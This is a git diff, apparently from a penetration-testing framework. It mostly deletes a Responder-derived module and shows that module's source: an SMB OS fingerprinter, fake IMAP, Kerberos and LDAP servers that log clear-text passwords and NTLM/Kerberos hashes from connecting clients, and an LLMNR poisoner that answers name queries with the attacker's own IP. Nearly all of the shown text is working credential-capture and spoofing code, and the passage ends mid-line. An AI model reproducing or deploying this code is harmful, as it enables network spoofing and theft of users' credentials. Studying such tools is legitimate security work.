+from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData + +def OsNameClientVersion(data): + try: + length = struct.unpack('i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + return OsNameClientVersion(data) + except: + print color("[!] ", 1, 1) +" Fingerprint failed" + return None diff --git a/core/responder/fingerprinter/Fingerprint.py b/core/responder/fingerprinter/Fingerprint.py deleted file mode 100644 index 8eda227..0000000 --- a/core/responder/fingerprinter/Fingerprint.py +++ /dev/null @@ -1,121 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,sys,socket,struct,string -from socket import * -from ..odict import OrderedDict -from ..packet import Packet - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import re,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack("i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x08"), - ("flag2", "\x01\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x3c\x1b"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNegoData(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x54\x00"), - ("separator1","\x02" ), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2","\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ]) - def calculate(self): - CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"]) - self.fields["bcc"] = struct.pack(". -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) -################################################################################## -#SMB Client Stuff -################################################################################## - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x4e"), - ("uid", "\x00\x08"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - -#SMB Header answer packet. -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x80"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\xff\xfe"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -#SMB Negotiate Answer packet. -class SMBNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x11\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\x43\x00\x00"), - ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), - ("Domain", ""), - - ]) - - def calculate(self): - - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"]) - self.fields["Bcc"] = struct.pack(". -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#IMAP4 Greating class -class IMAPGreating(Packet): - fields = OrderedDict([ - ("Code", "* OK IMAP4 service is ready."), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapability(Packet): - fields = OrderedDict([ - ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapabilityEnd(Packet): - fields = OrderedDict([ - ("Tag", ""), - ("Message", " OK CAPABILITY completed."), - ("CRLF", "\r\n"), - ]) diff --git a/core/responder/imap/IMAPserver.py b/core/responder/imap/IMAPserver.py deleted file mode 100644 index 91d4725..0000000 --- a/core/responder/imap/IMAPserver.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from IMAPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("IMAPserver", formatter) - -class IMAPserver(): - - def start(self): - try: - log.debug("online") - server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) - t = threading.Thread(name="IMAPserver", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port {}: {}".format(143, e)) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class IMAP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(IMAPGreating())) - data = self.request.recv(1024) - if data[5:15] == "CAPABILITY": - RequestTag = data[0:4] - self.request.send(str(IMAPCapability())) - self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) - data = self.request.recv(1024) - if data[5:10] == "LOGIN": - Credentials = data[10:].strip() - Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Credentials, Credentials) - #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) - log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) - self.request.send(str(ditchthisconnection())) - data = self.request.recv(1024) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/imap/__init__.py b/core/responder/imap/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/kerberos/KERBserver.py b/core/responder/kerberos/KERBserver.py deleted file mode 100644 index 837b7eb..0000000 --- a/core/responder/kerberos/KERBserver.py +++ /dev/null @@ -1,157 +0,0 @@ -import socket -import threading -import struct -import logging - -from core.logger import logger -from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler - -formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("KERBserver", formatter) - -class KERBserver(): - - def serve_thread_udp(self, host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting UDP server on port 88: {}:".format(e)) - - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting TCP server on port 88: {}:".format(e)) - - def start(self): - log.debug("online") - t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) - t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) - for t in [t1,t2]: - t.setDaemon(True) - t.start() - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -class KerbTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - KerbHash = ParseMSKerbv5TCP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -class KerbUDP(BaseRequestHandler): - - def handle(self): - try: - data, soc = self.request - KerbHash = ParseMSKerbv5UDP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. - -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -class LDAPSearchDefaultPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLen", "\x0c"), - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x0f"), - ("OpHeadASNID", "\x65"), - ("OpHeadASNIDLen", "\x07"), - ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. - ]) - -class LDAPSearchSupportedCapabilitiesPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x15"),#21 - ("SearchAttribASN2Str", "supportedCapabilities"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x16"),#22 - ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x17"),#23 - ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x17"),#23 - ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPSearchSupportedMechanismsPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x17"),#23 - ("SearchAttribASN2Str", "supportedSASLMechanisms"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x06"),#6 - ("SearchAttrib1ASNStr", "GSSAPI"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x0a"),#10 - ("SearchAttrib2ASNStr", "GSS-SPNEGO"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x08"),#8 - ("SearchAttrib3ASNStr", "EXTERNAL"), - ("SearchAttrib4ASNID", "\x04"), - ("SearchAttrib4ASNLen", "\x0a"),#10 - ("SearchAttrib4ASNStr", "DIGEST-MD5"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPNTLMChallenge(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x61"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 - ("Status", "\x0A"), - ("StatusASNLen", "\x01"), - ("StatusASNStr", "\x0e"), #In Progress. - ("MatchedDN", "\x04\x00"), #Null - ("ErrorMessage", "\x04\x00"), #Null - ("SequenceHeader", "\x87"), - ("SequenceHeaderLenOfLen", "\x81"), - ("SequenceHeaderLen", "\x82"), #188 - ("NTLMSSPSignature", "NTLMSSP"), - ("NTLMSSPSignatureNull", "\x00"), - ("NTLMSSPMessageType", "\x02\x00\x00\x00"), - ("NTLMSSPNtWorkstationLen","\x1e\x00"), - ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), - ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), - ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), - ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), - ("NTLMSSPNtTargetInfoLen","\x94\x00"), - ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), - ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh","\x05"), - ("NegTokenInitSeqMechMessageVersionLow","\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), - ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), - ("NTLMSSPNtWorkstationName","SMB12"), - ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), - ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), - ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), - ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), - ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), - ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), - ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), - ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), - ]) - - def calculate(self): - - ##Convert strings to Unicode first... - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') - - ###### Workstation Offset - CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) - - ###### AvPairs Offset - CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) - - ###### LDAP Packet Len - CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - - OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - ##### LDAP Len Calculation: - self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) - - ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(" 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack(' {}".format(OURIP)) - server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) - t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port 5355: {}:".format(e)) - -class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.252" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP)) - - UDPServer.server_bind(self) - -#LLMNR Answer packet. -class LLMNRAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x00"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionNameLen", "\x09"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] - -def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name - -# LLMNR Server class. -class LLMNR(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, soc = self.request - try: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if args.analyze: - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - else: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger 